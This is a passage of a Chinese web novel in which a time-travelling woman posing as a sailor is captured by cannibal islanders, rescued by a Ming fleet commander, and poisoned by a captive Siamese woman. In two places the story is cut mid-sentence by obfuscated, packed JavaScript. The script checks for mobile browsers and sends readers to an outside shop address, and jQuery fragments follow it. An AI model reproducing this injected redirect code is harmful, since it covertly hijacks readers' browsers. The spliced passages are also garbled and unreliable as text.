此人作为薛誉的阴阳生同僚,对薛誉几多照顾,见他真的离开也没整什么幺蛾子,薛誉不禁长长舒口气,转而去搬光头的物资。两包干粮、五桶淡水和两颗信号弹,以及两根船桨。没有其他的了。 估计那两个“蠢货”也不是吃素的。 整理好,看着船舱内丰厚的物资,薛誉喜滋滋地往东南方向开。 渐渐远离那片沾了淡淡血色的海。 划桨……划桨……长时间的单一动作让右臂本来不太严重的伤口撕裂,鲜血汩汩地流;更雪上加霜的是运动出汗,汗液淌过伤口,撒盐似的疼,薛誉呲牙咧嘴地停下,“呲啦”撕下一块布,给伤口简单包扎好。 已是落日时分,深蓝的海、火烧似的云,一幅色彩饱满的巨型油画,薛誉却无暇欣赏,忙着低头赶路。等天黑之后,海洋会将它原本的可怖面目显露无疑,不仅大气温度会飞快下降数十摄氏度,黑漆漆的环境也让人心理直发毛。 幸好今晚有漫天星光,碎钻似的闪耀着,可失血导致的失温让薛誉头脑昏昏沉沉,眼前模糊。视野错乱中她竟看见前方海域出现了一个小漩涡。 像是要把小船吸附进去。 四方八方还有缥缈的歌声。“这是遇见鲛人了?”薛誉有点振奋地左右望,“它会给我点什么东西吗?比如珍珠?” 【航海系统:……它也许更想从宿主这里要点东西。比如性命。】 “……” 顾不得伤口,薛誉抡圆臂膀,将一双船桨划出了残影,飞速驶离这片海域,一路很曲折,更曲折的是第二天天蒙蒙亮时,她又遇到了一艘小大船。 之所以这么形容,是因为那船足有二三十米长,仅两米宽,像是一颗大树挖空了树干做成的天然小船,上面密密麻麻载着好多人。 他们站着,靠得极近,像高中跑操时前后排距离那么近。 穿着奇怪,不管男女,上面都赤裸着,只□□有树叶裙遮丑,领头的那个脖子上挂着一圈不知什么动物的骨头,看得人心里害怕。薛誉忙悄摸摸地绕过他们,又划了整整一天,才看见一处白色浅滩。 喜极而泣! 不过经历了这一切,她心说好好观察观察再上岸。 浅滩旁边的海水澄澈,一浪一浪地扑打过去,激起无数雪白浪花。往里是一片高而茂的椰林,海风从岛上吹来,送来阵阵椰香,此时从一棵椰树上面“刺溜刺溜”滑下两个黄皮肤小孩,他们怕人似的,只躲在树干后,眼珠滴溜溜地看薛誉,交头接耳一阵,一溜烟儿跑了。 而小岛中央有袅袅炊烟,十足的烟火气。薛誉放了心,靠岸停泊。 她找到一方空地,朝天空发射信号弹。 一切都做完,薛誉才心满意足地走近椰林,找了个阴凉地儿,吃起干粮来。 脚边一只熟透的椰子,捡起来,用匕首开口,一口下去,原地升仙。无污染就是好啊! 吃饱喝足要睡时,一阵踏踏脚步声由远及近地传来,【航海系统:恭喜宿主获得“送餐上门”称号。】 电子音喜气洋洋的。 薛誉小心翼翼冒出一颗脑袋,往脚步声处望去。一群野人!就是她凌晨时见到的那群上衣也不穿的、乘着小大船的野人! “送餐上门?”薛誉回过味儿来了,“是说送‘我这个餐’上‘野人的家门’吗?”猛地跳起来,薛誉一面狂奔一面怒喝: “系统你缺大德了!” 4. 野人岛2 浅白的沙滩上,一场激烈的追逐战正在上演。 薛誉抱着包袱撒丫子狂奔在前,一群野人张牙舞爪地追击在后。野人们身材矮小,跑动跳跃时却如猿猴般敏捷,口中“呜哩哇啦”地叫嚷着一种奇怪的语言,手持长毛,蝗虫般向薛誉压境而来。 场面惊险之至。 那长毛是用一种硬质木材砍薛而成,顶端成锥状,极度锋利。这利器毫不客气地纷纷往薛誉身上招呼。 “救命救命救命——!” 薛誉惊恐交加,一面疯跑,还时不时回头看看,那群野人追她追得紧紧的,像野狗看见肉骨头般双眼直放光。薛誉呼哧带喘的,走位曲折,方才躲避开大多数攻击,可还是有一只擦着她的大腿,“咻”地一声插进了薛誉身前的沙滩。 是可忍孰不可忍!薛誉停下、拔出长毛、回首“biu”地一下飞至出去,所有动作一连串,极其丝滑。 反击完就跑! 身后叫嚷声更凶。 原来她这回竟瞎猫碰上死耗子,将一个野人同城了重伤。被激怒的野人顿时加速,薛誉不得不跟着提速。就这样,她被追着环绕小岛跑了一周。 直到在此看见她的小船。 上船! 对……上船! 快点上船跑!如此想着,薛誉忙转向,往小船那儿涉水而去。幸而小船离岸不远,很快她就翻进了船舱。忙中生错,划桨时拿个倒反,忙换过来,拨水离岸。 没想到那群野人也从椰树林中搬出了一艘小舟,纷纷跳上去“嘿哟嘿哟”地朝薛誉划来。这时天色已暗,野人们举着火把,海风一吹,一排火把连成火线,明晃晃地刺人眼。别提有多可怕。 很快就被追上了。 毕竟薛誉只是业余选手,只是小时候被爷爷带出海捕鱼时学过两手,哪里比得过这些靠海吃海的“练家子”。 被捉上岸时,薛誉一脸绝望。 更令人绝望的是,他们不知从哪儿找来一根长长的木棍、并两条草绳,将薛誉放平,把她双手双脚用草绳拴在木棍上,然后两个野人一前一后地抬着走。 像抬着一头烤猪。 看来这群人不仅是野人,还是食人生番。 要完! 捕猎成功的野人们倒是开心,一个个呲着洁白的大牙乐呵呵。他们抬着薛誉走进椰林中,路中途还遇到了一湾潺潺流动的小溪,上面架着一座木桥,像电影版《鲁滨孙漂流记》中鲁滨孙造的那座木桥般。 走在上面直晃悠。 晃悠得薛誉担心别没被吃掉,先被掉下去淹死了。 这个担心并没有成真,也不知是福还是祸。薛誉被抬着来到了椰林之中的一片空地中,周围有一圈参天古木。这里聚着更多的野人,见同胞们抬着猎物回来,纷纷激动地上前迎接。 一个个目露凶光,口流涎水。 此时月上中天,皎洁月辉洒下,照得这片空地分外明亮。不过为了处理猎物,有几个野人去钻木取火,不多时,那火堆烧得噼里啪啦,分外热烈。看得薛誉呲牙咧嘴,分外害怕。 “&%¥#……!”有个烧火的野人走过来,跟带头捉薛誉的野人说着什么,还时不时投来视线,不一会儿两人达成一致地点点头,前者亲手来解薛誉手脚上的草绳。 就是此时! 说时迟那时快,薛誉把藏身上的两颗信号弹忙取出来一颗,向着天空就发射出去。 “嘣——!!” 巨大的声响,耀目的亮光,把这片林子映得亮如白昼、分毫毕现。而那些野人被吓得纷纷伏地不起。薛誉反身便要溜,冷不丁被突然冲出来的一脚绊倒在地。 是那个带头捉她的。 盯来的目光冷极,像迎头浇来一桶冰水,让人直打冷哆嗦。 留下一个专门看着她的人,其余野人跑一边开会去了,可能要讨论讨论如何处置她。 这个被留下看管猎物的野人十分凶恶,只要看见薛誉动一下,就做出呲牙咬人的嘴脸来。后者只好老老实实地一动不敢动,缩成一团,像只鹌鹑。 没一阵儿,野人们就开会回来了。领头的指使两个野人把薛誉往平地中央的台子上抬。 这台子中央立着一尊像,十分高大,至少有六七米高。靠近了能嗅到一股特殊的香木味道,面部雕得活灵活现,双目紧闭,檀口微张,似乎在念什么咒语。像身盘坐,双手分别搭在两膝头。有一种诡怪的吸引力。 把薛誉抬来的野人对这尊神像十分敬畏,不敢抬眼。 他们带着薛誉灵活地爬上神像身前的一根木柱,把薛誉绑在上面,也就是这时候,薛誉才注意到面前的神像上有深浅不一的红褐色血迹。 不会吧? 似乎要印证薛誉的想法似的,野人们在祭台之下围成一圈,那个重伤已死的野人被同伴抬回来,被绑在那根本来绑着薛誉的木棍上,然后被架上了火堆。 之后…… 之后野人们低头“叽里咕噜”地念了一阵,都冲祭台之上的神像深深跪拜,跪拜完毕排成长队,一个一个地上前片肉吃。就连薛誉初上岸看到的那两个黄皮肤小孩亦是如此。 两小孩手中拿着一片锋利的木刀,轮到他们了,就一手扒住尸体、一手用木刀片下一片肉,放在火上燎一下,放进嘴中嚼吃。一面吃一面嘶哈嘶哈的,在口中不住翻动,可能是烫嘴。 薛誉深深、深深地闭上了眼。她现在只寄希望于方意能尽快带领船队过来,好将她解救出这第十九层地狱。 “啊嚏!” 远在天佑号上的方意打了个响亮的喷嚏,他揉揉鼻子,有些纳闷。甲板之上,夜风冷冷吹来,船队正朝着信号弹的方向平速前行。 望着幽深的大海,他颇有些意兴阑珊,想起舱房里有一只西洋望远镜,便想去取来观一观海。 不成料,跟一个急匆匆奔来的总旗撞个正着。 “千户大人!”总旗神色慌慌,忙下跪道歉:“对不起大人!是属下慌张了!但是属下有急事要禀!船队遇到了一只很奇怪的小舟!上面的人都衣不蔽体!场面十分不堪!他们还在不断地靠近天佑号,大人,怎么办?” “传话让他们离开,不听就用火铳射击。” “可、可他们似乎不辨人语。” 方意冷冷睨他一眼:“你猜猜通译是干什么吃的。找他们去。” “是。” “等等……” “大人?” 方意朝信号弹的方向望去,想了想,严肃道:“处理完那只小舟,示意船队全速前进!” “是!” 却说薛誉这边,她眼睁睁看着野人们饱餐一顿,然后开始磨刀霍霍。有几个野人来到祭台前,虔诚跪下,不住地比着古怪手势,其余野人则是围绕着祭台又唱又跳。 仿佛邪教现场。 薛誉本就疲惫至极,再加上这一通恐吓,她终于脑袋一歪,晕了过去。 …… 半梦半醒间,一道极耳熟的声音远远传来,薛誉费力睁眼,只见不远处的平地中林立着无数火把。火光热烈,薛誉被刺得偏头眯眼,看清了立于她左右两侧的两名野人,他们各举一把锋利木刀,浑身紧绷,目光却直直盯向平地的某处。 薛誉顺着两野人的视线望去—— 是船队的人! 是船队的锦衣卫们!他们一手持火把,另一只手纷纷摸向腰侧的绣春刀,与祭台旁的野人们对峙而立,局面剑拔弩张。 而锦衣卫最前方,赫然是天神般的千户大人。 一片烈烈火光中,他的脸半明半暗,姿态自如,仿佛一切尽在掌握中,而绣春刀已然出鞘,迅雷不及掩耳之势地架在他挟持着的一个野人的脖颈上。 语气不善:“放了我的人!不然,我活剐了他。” 说着,手微微使力,利刃破开皮肤,划出一道血痕,鲜血直涌。 薛誉认出了那被挟持之人,正是小大船的首领。脖子上戴着牙齿项链,脸上用红褐色燃料一道深一道浅地涂抹着,打扮十分有特色。 两个举木刀的野人都很愤怒,野兽似的低吼着,甚至有一个直接将木刀架上了薛誉的脖子。 “¥%@*……*#¥@!” 却被那带头捉薛誉的女野人一通叱喝,木刀讪讪放下,女野人侧头看看薛誉,再抬头望望被挟持的同伴,眼神渐渐坚定,遥遥对着方意一点头。 “你跟她说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164872|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫她先放。”方意有点不耐烦了。 “是。”船队通译得了命令,上前一步道:“¥%#@%*#!”说完之后,做了个抹脖子的动作。 女野人恨恨盯他一眼,又恨恨盯方意一眼,后者作势要加重手上动作,女野人终于沉不住气,回首走到薛誉身边,揪住她的后衣领,推推搡搡着朝火把群走去。 “%¥@*%¥@……!” 通译擦把汗道:“大人,她说她可以先放,但如果您食言,她会让族人请香木神降下诅咒。” “……快让她放人。我留下个野人要干什么用?” 通译冲女野人点头。 然后薛誉就被狠狠推了一把,猛然获得自由,犹如身在梦中,她反应不及、脚步不稳地趔趄着向前冲去。 而对面的方意也及时放手。首领野人忙捂着脖子跑路,而薛誉…… 薛誉得以一头撞进千户大人的怀中。 这一撞方知“虎背蜂腰螳螂腿”名不虚传,胸肌坚硬如铁,直撞得薛誉脑袋发懵,她一面揉着脑壳,一面抬眼。 恰与低头望来的胸肌主人对上视线。 “还想抱多久?” 头顶传来一道很不客气的询问声。 这声音带动胸腔震动,震得薛誉耳朵酥麻,她后知后觉地意识到两人之间的姿势是何等微妙,忙上举两手,后退着离开那个分外宽厚、让人极有安全感的胸膛。 反观祭台那边,女野人紧紧拥着野人首领,口中不住地唤着:“桑拉……”后者则重重地闷哼一声,女野人这才意识到自己此举的不妥之处,忙松开手去查看他脖子上的伤。 那两个黄皮肤小孩也冲上去抱住首领桑拉的大腿不松手,鼻涕眼泪糊了满脸。 薛誉远远地看着,心中大致有了猜测—— 这是一家子! 方意也看着那边,满目不屑,冲通译挥手,“去提醒这位桑拉首领,现在不是阖家欢乐的时候,请他找个地方,我要与他谈谈偷袭天佑号的补偿事宜。” “偷袭?”薛誉震惊回头。 “是啊。”方意目光遥望空中某处,似是陷入回忆之中。 蓦地,他右手握紧绣春刀,指节攥得喀喀作响,冷冷笑声:“用小舟偷袭船坚炮利的巨舰,我怀疑他脑子有问题。” 薛誉设想了一下当时的场景,仍是满脸的不可置信。 “谈赔偿之前,我得确认下另一位勇士的安危,”方意微微眯眼,“若是这些蛮人杀了我的人,就只好旧账新账一起算了。” 看着一队锦衣卫就要出发去岛上寻人,薛誉猛地想起来自己好像是放了两颗信号弹,她忙唤道: “等一下!我知道你说的这人在哪儿。” “哪儿?” “海里。”薛誉说完,顿感一阵杀气袭来,好像下一瞬千户大人就要提刀杀到那桑拉面前了,她忙解释,把从那日出海后到此时此刻的遭遇详尽地描述一遍。一面描述一面观察方意神色。 “好得很呐!” 良久后,对方笑了,阴测测地:“我说了三种情况,居然有人走出了我从未设想过的新道路。好得很。” 不过没有用。 死都死了,尸体都沉到海底喂鱼去了,现在就是天王老子来了也没办法拿对方怎么样。 方意很快也意识到这点,随手叫人过来,命他现在就去将光头除名。也就是说,船队将不会支付给光头的家人哪怕一分钱的抚恤费。 “大人好手段!” 薛誉彻底叹服。 “行了,”方意瞭她一眼,“你这伤要紧吗?” 说着,走上前来,“嘶啦”一声,直接扯掉了薛誉一只袖子,语气嫌弃道:“你自己包的?” “啊是、是啊。” 看着对方懵懵的表情,方意有点无奈地叹气道:“都要发炎了,去找医官处理下吧。” “好。” 直到薛誉走出去好远,背后那道视线仍在盯着,她心里毛毛的,这人想干什么啊。 果不其然,“等等——!”方意喊住她,后者回首,隔着火光与夜色望来,方意顿了一顿,才放软口吻道:“去找温医官,就说是我叫你去的。” 5. 野人岛3 方意说的温医官名叫温仁,是宫中有名的太医,资历深、名望高,马上就要致仕,却因为“老骥伏枥、志在千里”,执意要上天佑号为朝廷效力。万万没想到,差点将他这条老命断送在晕船一事上。 薛誉到时,他正吐得一塌糊涂,两个小医童一个帮忙抚背,一个慌张去倒水。 不甚撞到了薛誉。 “成、成何体统?!沉…沉稳沉稳,老夫说、说多少次了……”惹来温老太医一顿断断续续的臭骂。 小医童抹着泪珠,连连道歉。 “不要紧,不要紧。”薛誉忙道:“这营帐里暗,我也没出声,不能怪他。” “两个小崽、崽子下去,”温老太医凶巴巴地将人撵走,又问薛誉:“你是来看病的?” “正是。” 老太医抚着胡须苦笑一声,整个人都透着几分虚弱,“见笑,医者难自医啊,开船二十多日,老夫竟然没有一天不吐的。”他又用平时熬药的扇子扇了几扇,味道稍稍淡些后,唤薛誉:“过来。” 借着黯淡的烛火,他仔细看了看薛誉右臂上的伤处,花白的眉毛紧拧着: “有点严重啊小女娃。” 薛誉只注意到前半句。 小、女、娃! 三个字,却像一道晴天霹雳,把她劈得外焦里嫩,她不敢相信似的试探问道:“您、您刚才说什么?” “以为自己穿身男人的衣裳就能骗过老夫了?天真。” 见她僵在原地,老太医乐呵呵地道:“莫急莫慌,除了医官这种十分熟悉男人与女人身体的,一般人顶多以为你是个弱少年罢了。”话锋一转,他有些惊奇:“不过看你身形,家中难道已经落魄到要你扮男装来做船工营生了?” 薛誉沉默了。 除却要隐瞒穿越事实,关于原身身份她也确实想不大起来,只隐约记得是犯了事,不得已流亡海上。 老太医叹了口气,“老夫无意打探什么,你来,就是老夫的病人,手臂伸过来,你那伤虽严重,剜了肉抹些药膏也就好了。” 然后…… 营帐中传来杀猪般的惨嚎。薛誉退出去时,浑身疼得直打哆嗦,眼泪汪汪的,见老太医手里还拿着烧红的刀子要送她,忙制止:“您休息吧休息吧!我就走……” 想起自己的秘密,她有些迟疑:“我扮男装一事,还请您千万不要告诉别人。” “放心吧,老夫不是多嘴多舌之人。” 薛誉走了,原路返回。 她现在非常困倦,急于找个地方休息,却在途中经过一株参天古木时,见几个锦衣卫站在树洞口,背树而立,手中还持着火把,面容分外严肃,见她望来,“唰”地一声抽刀出鞘,警告之意满满。 薛誉忙加快步子。 然而在她经过之后,身后的树洞口忽然一片骚乱,“咣当”一声门开,伴随着一道尖声叫喊,有什么东西接二连三地飞出,最后是千户大人那道熟悉的声线:“她是不是疯了?! 声音分外恼怒。 顿了顿,那声音再度响起,只是口吻略显烦躁:“你确定那些东西是暹罗的物产?” “回千户大人,属下确定。属下曾接待过暹罗的使者团,使者团上贡过诸如金银器、佛牌等,与刚才那些别无二致。属下怀疑这女子是暹罗贵……” 后面的话随着薛誉走远,渐渐模糊,听不真切。 此时的天色将明未明,薛誉一脚深、一脚深地来到那座木桥前,走上去,仍旧晃晃悠悠的,让人心里始终提着一口气,不上不下的。 不过只要通过这座木桥,前方就是沙滩。天佑号一定停泊在沙滩附近,马上就能休息了,薛誉打了个大大的哈欠,困得迷离的眼神中露出微微的欣喜之色。 殊不知,新的任务即将送达。 “请、请留步——!” 身后遥遥地传来一道上气不接下气的叫声,薛誉迷迷瞪瞪地看看周围,空无一人,她有些迟缓地回头,极不愿相信地指指自己,“在叫我吗?” “对对,千、千户大人有请。” 返回刚才经过的那个树洞前,只见方意好整以暇地倚树而立,双手环胸,见薛誉望过去,还微微歪了歪头: “小鱼,伤如何了?” “处理好了,温医官医术好,人也好。”薛誉现在困得上下眼皮直打架,她努力眨眨眼,动作迟缓地去揪自己上身衣裳,“这是温医官借我的。” “噢,”方意走过来,作回忆状,半晌才笑眯眯地道歉:“我的疏忽,把你袖子扯掉了,忘记给你件新的。” “没……没关系。” “一会儿吧,”方意自说自话道:“一会儿叫人给你送几件新衣服来,不过现在……” 他绕到薛誉身后,大手钳制住薛誉两肩,动作强硬地一步一步将她推进树洞里。 里面是间屋子,仅有一桌一床,桌子膝盖高,东倒西歪地放着两个开了口的椰子;床上躺着一个人,一张很大的兽皮从头到脚盖得严严实实,方意指指那人,继续道: “……现在先帮我个忙,问问她从哪儿来,叫什么?” “完成之后再给你三个金锭,如何?”方意微微弯腰低头,下巴几乎靠上了薛誉肩膀,语气蛊惑。 “阿嚏阿嚏!” 薛誉捂着嘴,困得连打两个哈欠,她觉得不如何。毕竟第一次提醒船队天气异常后,就被方意赏了一锭金,那时候她问过系统:“以后若是能穿回现代了,这金锭拿在我手里能不能带走?” 系统十分冷酷道:【吞进您肚子中也不行,因为宿主是魂穿。】 薛誉都被它气笑了:“……那叫吞金自杀!” “如何?” 身后之人再次催促,下巴仍抵在薛誉的肩膀上,大有一幅她不答应就不起来的架势。薛誉无奈叹气:“哇——千户大人太大方了,小的这就问。” 方意拍拍她的肩,噙着淡淡一抹笑,走了。 薛誉狠狠掐了自己一把,试图清醒一点,然而就在这当口,床上的人浅浅翻了个身,木床“嘎吱嘎吱”响了数声,“你叫什么?”薛誉忙趁机道。 没反应。 是不是自己不够礼貌?薛誉琢磨着,这一次上来先自我介绍,然后再问其姓名,还拜托旁边帮忙翻译的通译用词客气一些。 仍旧没反应。 薛誉有点头疼,想着任务完不成睡不成觉,只好继续道:“你来自哪儿呢? “我们可以说说话吗? “要不然你先问我?什么问题都行。然后你只要我你的名字和来自哪里就行。 “可以吗?” 毫无反应,仿佛薛誉不存在般,她有点尴尬,转头低声问通译:“什么情况?” 通译苦笑一下,也压低声音回道:“刚才千户大人来问也是如此沉默。” 薛誉若有所思:“难不成这姑娘听力有问题?”这样就解释得通了,她…… “呼——!” 一只开了口的椰子被猛准狠地砸过来。 打断了薛誉的脑补。 幸亏她反应快,迅速往旁边一躲,堪堪避过这场无妄之灾,“吓我一跳!”薛誉惊魂未定地拍拍自己心口,侧头,和通译面面相觑。 然而,床上又没了动静,树屋里只余噼里啪啦的火把燃烧声,间或一道均匀的呼吸。薛誉迟疑着靠近,要不要面对面沟通试试…… 只是一接近木床,其上的人就一跃而起,动作利落地圈住薛誉,将人转了个360度的圈,从薛誉背后伸手,一手卡住她下巴,另一只手往她嘴中扔了个滑溜溜的东西。 最后强迫人咽下去。 “咕咚…” “你喂我吃了什么东西?!”薛誉大惊失色,她掐住自己的脖子,用力,试图将那滑溜溜的东西催吐出来,却听身后之人说: “没用,吐出来也没用。” 不远处的通译也被这一遭弄得呆愣在原地,回过神来便想立即冲过来营救薛誉。——这人刚才与方千户举止亲密,如果在这儿出了意外,他虽不是凶手,也没好果子吃。 “站住!再往过走我就对她不客气了。” 通译刹停。 这边的薛誉也逐渐冷静下来,她吐了半天,除了把脸憋得通红没有任何意义,扭头,想跟身后的人谈判:“你想让我干什么?总不能只是想折磨我吧?”薛誉一面说话,一面给不远处的通译使眼色。 通译秒懂,轻手轻脚地靠近,偷偷摸摸,做贼似的。 没成想…… 被一个椰子暴击砸晕在地。 薛誉:“……” 好死不死,系统还趁机捣乱:【恭喜宿主获得“蛊虫的载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164873|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体”称号。目前已获得的称号超过了十个,奖励称号“称号女王”。】 薛誉满脸黑线,有用的建议一个不提,没用的称号倒是起了一箩筐,什么“头号倒霉蛋”啦、“‘最强’关系户”啦、“野人的食物”与“香木神的祭品”啦、还有“生产队第一驴”! 每一个都在挑衅!薛誉:【真的够了!】顿了顿,她有些无力道:【暂时关闭称号提示。】 终于清静了。 “我劝你不要惹我,”身后之人见薛誉好一会儿没动静,以为她又憋着什么招,恶狠狠地威胁道:“再耍花招我就催动你肚子中的蛊虫,疼死你!” 薛誉举举双手,投降道:“好好好。” 对方仍不放心,环顾四周,拿出一条草绳来,缠巴缠巴将薛誉栓在了床头。 而薛誉终于意识到了不对劲之处——对方也是被栓着的! 怪不得一动就有链条窸窸窣窣的响声,还一直只在床周围活动。原来是被困在了这里。 一个隐隐的猜测在薛誉脑海中成型,她决定去找千户大人确认下猜测,干脆不再虚与委蛇,直接拿出背包中的匕首——那些没用完的“勇士”物资都被薛誉装进了系统背包,此时正好派上用场。 匕首掉落。 草绳被薛誉轻轻一挑,从中断开,解脱束缚的薛誉猛地冲向树洞口,又想起什么似的回头看来: “你先等我下,我去找东西把你脚上那链子弄断,但是你先不要催动那个蛊虫!千万不要啊!!” “我一定催!”对方愤怒地嚎道:“现在催!” “行吧。” 薛誉耸耸肩。 看来是讲不通道理了,扫视一周,薛誉捡起地上的椰子,抡圆胳膊,直冲冲地砸向床边,成功将人砸晕过去,“非要这样,真没办法。”她叹了口气,扬长而去。 此时天已大亮,树洞外面不远处,十来个工匠正在劈砍木头,千户大人就在一旁的树荫下当监工。 “任务完成了?”见薛誉急匆匆地奔来,千户大人不由挑眉问。 “没,但我基本知道了。” “噢?那你说说吧。” “千户大人昨晚说要找野人首领要赔偿,依小的看,这小岛穷得很,估计没大人看得上眼的……” “嗯……” 千户大人一开始听得入神,紧接着眉头就拧起来了,昨晚那些经历很不愉快的经历一一涌上心头。 ——昨晚。 他打发薛誉去看医官后,就带人去见了首领桑拉,对方着人呈上来一堆土特产,烟叶、蕉麻、完整的巨蜥皮以及野兽牙齿做成的项链,全是小岛特产,方意眯眼看着,指尖有节律地点着绣春刀刀柄,低头看桑拉一眼,没说话,态度却很明显:“就拿这个来搪塞?” “这已经是小岛最值钱的了。”桑拉苦苦求饶。 方意嗤了声。 搞得像是他恃强凌弱一样。 野人们不自量力地攻击船队,长矛剑雨似的掷来,虽没对宝船造成实质性影响,划痕却是避免不了的。现在求饶,太晚了! 慢悠悠地转了一圈桑拉的树巢,方意却也知道这人没说谎,他十分嫌弃地挥手,正准备算了时…… “别杀我!别杀我!”桑拉抱头大喊。 “哼。”看来昨晚的抓捕对这位首领造成了不小的震慑啊,怕成这样,方意嗤了声,手顿在空中,示意身后锦衣卫们不要妄动,他正要说这次就算了, 桑拉已经连滚带爬地去取来了一只盒子。 做工精湛,显然非小岛所出。而其中更是装着许多金银财宝,叫船队的人一瞧,有人认出来了那是暹罗物产。 方意顿感其中有猫腻,一番“严刑”下,桑拉交了底:“那是那个女人带来的。” 女人? 桑拉只好把人也一并上交,一脸不舍,还借机讨价还价:“那个暹罗女人也赔给你,那次偷袭就不能再追究了,怎么样?” “女人赔我?”方意笑了,抽刀横上桑拉的脸侧,极具羞辱性地拍了数下,轻声慢语道:“她是你的吗?就赔给我了?” 桑拉大叫:“是我的是我的!”都被他关起来了,怎么不是他的。 “带下去!” 方意厌恶地收刀回鞘,并对认出暹罗物产的通译道:“你,跟我去看看。” 6. 野人岛4 薛誉还在这边说着自己的猜测。 “……那个女子不管从身高、肤色还是长相来说,都与小岛野人们有很大不同,当是被掳掠至此的无疑了。而拿不出赔偿之物的首领起了歪心,打算把这姑娘赔给船队,才有了昨晚那出。” 想起自己肚中那只蛊虫,再加上昨夜听的那耳朵闲话,薛誉半猜测地下了结论:“这姑娘应是暹罗人。” 她好奇道:“如果这姑娘确实被赔给了船队,千户大人打算如何处理她呢?” “啊——” 方意从回忆里抽身,对上这问题,当即笑眯眯地道:“赔给我了,自然就是我的了。让我想想,”他低头作苦思冥想状:“不如这样,等船队到了下一个地方,我就将她带去市场换钱如何,换来的钱给天佑号补一补划痕。小鱼觉得怎样?” 薛誉震惊地张大嘴巴。 “这、这样啊。” 方意哈哈大笑起来,语气愉悦道:“走了,跟我回那树房子里看看那姑娘能换多少钱。” 树房子里, 通译迷迷瞪瞪地醒了,脑门还在隐隐作痛,他揉了两把,忽然想起来什么似的,环视屋子一周,面露惊慌之色。那个叫“小鱼”的少年呢?通译趔趄着站起,正要出去寻人,洞门忽然大开。 闯进来一个风风火火的身影。 “还没醒!幸好幸好!” 薛誉一进来,就着急忙慌地奔去床边,见人没醒,心下大安。 “醒了又能怎样?” 跟在后面的千户大人悠哉悠哉地迈进来,“反正也不能改变我的决定。” 他逆光而立,尘埃在他周身起舞。 “不太好吧……” 薛誉犹犹豫豫地看来,她对他仍有恐惧心理在,但终究鼓着勇气又重复了遍,“小的觉得真的不好。” 方意耸耸肩,“有什么不好的。” 他反手关门,树洞中又只剩火把的亮光了,飞舞的尘埃不见踪影,方意笑盈盈地:“你刚才怕她醒就是怕她听见我这话?”他“啧”了声,上上下下地打量薛誉,一脸惊奇道:“看不出来小鱼你还挺怜香惜玉的。” “……是因为她给我下蛊!”薛誉叹气:“她说醒来就催动蛊虫。” “是吗?”方意面色微微严肃起来。 “大人能将她脚上这链子斩断吗?” “以德报怨吗?好气度。”方意走上前,抽刀挥下,一道冷光闪过,链子应声而裂。 “我是想着帮了她,她就不催那玩意了,才不会以德报怨呢!”说着,薛誉疯狂地晃动着还在昏迷的女子的胳膊,却把床弄得“嘎吱嘎吱”响。一股怪怪的氛围弥散开来。 一直没插上话的通译此时默默低下头了,心中默念:“看不见我看不见我。”一面念,一面偷偷往洞门挪。 “行了!” 方意终究听不下去了,他猛地一抬手,喝住薛誉:“等她醒了,我叫她把蛊虫给你解了。” 一脸疲色的薛誉就这样被赶走了。 心中有事,睡也睡不安稳,不知道第多少次醒来的薛誉有点烦躁,披上衣裳,从吊床上下来,回树房子里。 空无一人。 不仅千户大人不在,就连那下蛊的姑娘也不知影踪。 不远处传来一阵劈砍声,薛誉循声而去,看见忙碌的工匠们正围着一座修建中的小木屋窃窃私语。而方意仍倚着一株古木当监工,百无聊赖的模样,他嘴中衔着一根绿油油的草根,望向碧蓝高远的天空,不知在想什么。 薛誉小心翼翼地靠近,轻声道:“大人。” “船队是要在此长期驻扎吗?”她疑惑地指指正在建造中的木屋。 “噢,”方意回过神来,不甚在意:“督公住不惯,命我造的。”他看看薛誉:“睡好了?” “嗯……” “正好该吃晚饭了,”方意叹口气道:“真是受够了船队一成不变的伙食,”他话题一转问薛誉:“你们渔民出海之后都吃什么?干粮?” “也也不全是,靠海吃海,可以煮煮鱼啊烤烤虾什么的。” 闪烁其词。 “行,”方意站起来,眸中染笑道:“既然如此,今晚劳烦小鱼烤虾给我吃吧。” “……啊?” 穿过木桥,两人来到白色浅滩上。 此时已近傍晚,浅滩沐浴在最后一抹夕阳的余晖中,海风吹来,带来些许湿润的水汽,椰林之中的平地上高高升起缕缕炊烟,那是小岛土著们在准备晚食。 虽然方意将他们的首领抓了,对那天一同“犯罪”的同伙倒是没怎么样,还因为要砍树造屋,给了他们十来袋粮食和几种作物种子。 方意脱掉靴子,撸起袖子,撸得高高的,有力的肌肉露出,涉水捕猎去了。 还时不时看看正在沙滩边生火的薛誉。 就在这几个回头间,一只海鸟盯上了千户大人强健的小臂,也不知是天黑了,还是海鸟也有近视眼,它低空掠过,狠狠一啄,啄掉千户大人一块肉。方意大恨,反手抓住鸟脖子,另一只手利落地扯掉了海鸟的两只翅膀,血淋淋的鸟羽落在海面上,渐渐飘远。 方意则回身游上岸。 放下好多猎物。 薛誉有点囧,要怎么处理啊…… …… …… 无论如何,最后薛誉还是成功地架起了烤架,将鱼啊、虾啊还有那只胆大妄为的海鸟串成一串做起“串烧烧烤”来。方意甚至上船弄了点盐和胡椒粉来,薛誉想:要是有辣椒就好了! 【航海系统:宿主可以去美洲将辣椒带回来啊,这样就可以吃辣了,什么玉米、马铃薯、可可豆啊应有尽有!以后还可以喝咖啡!】 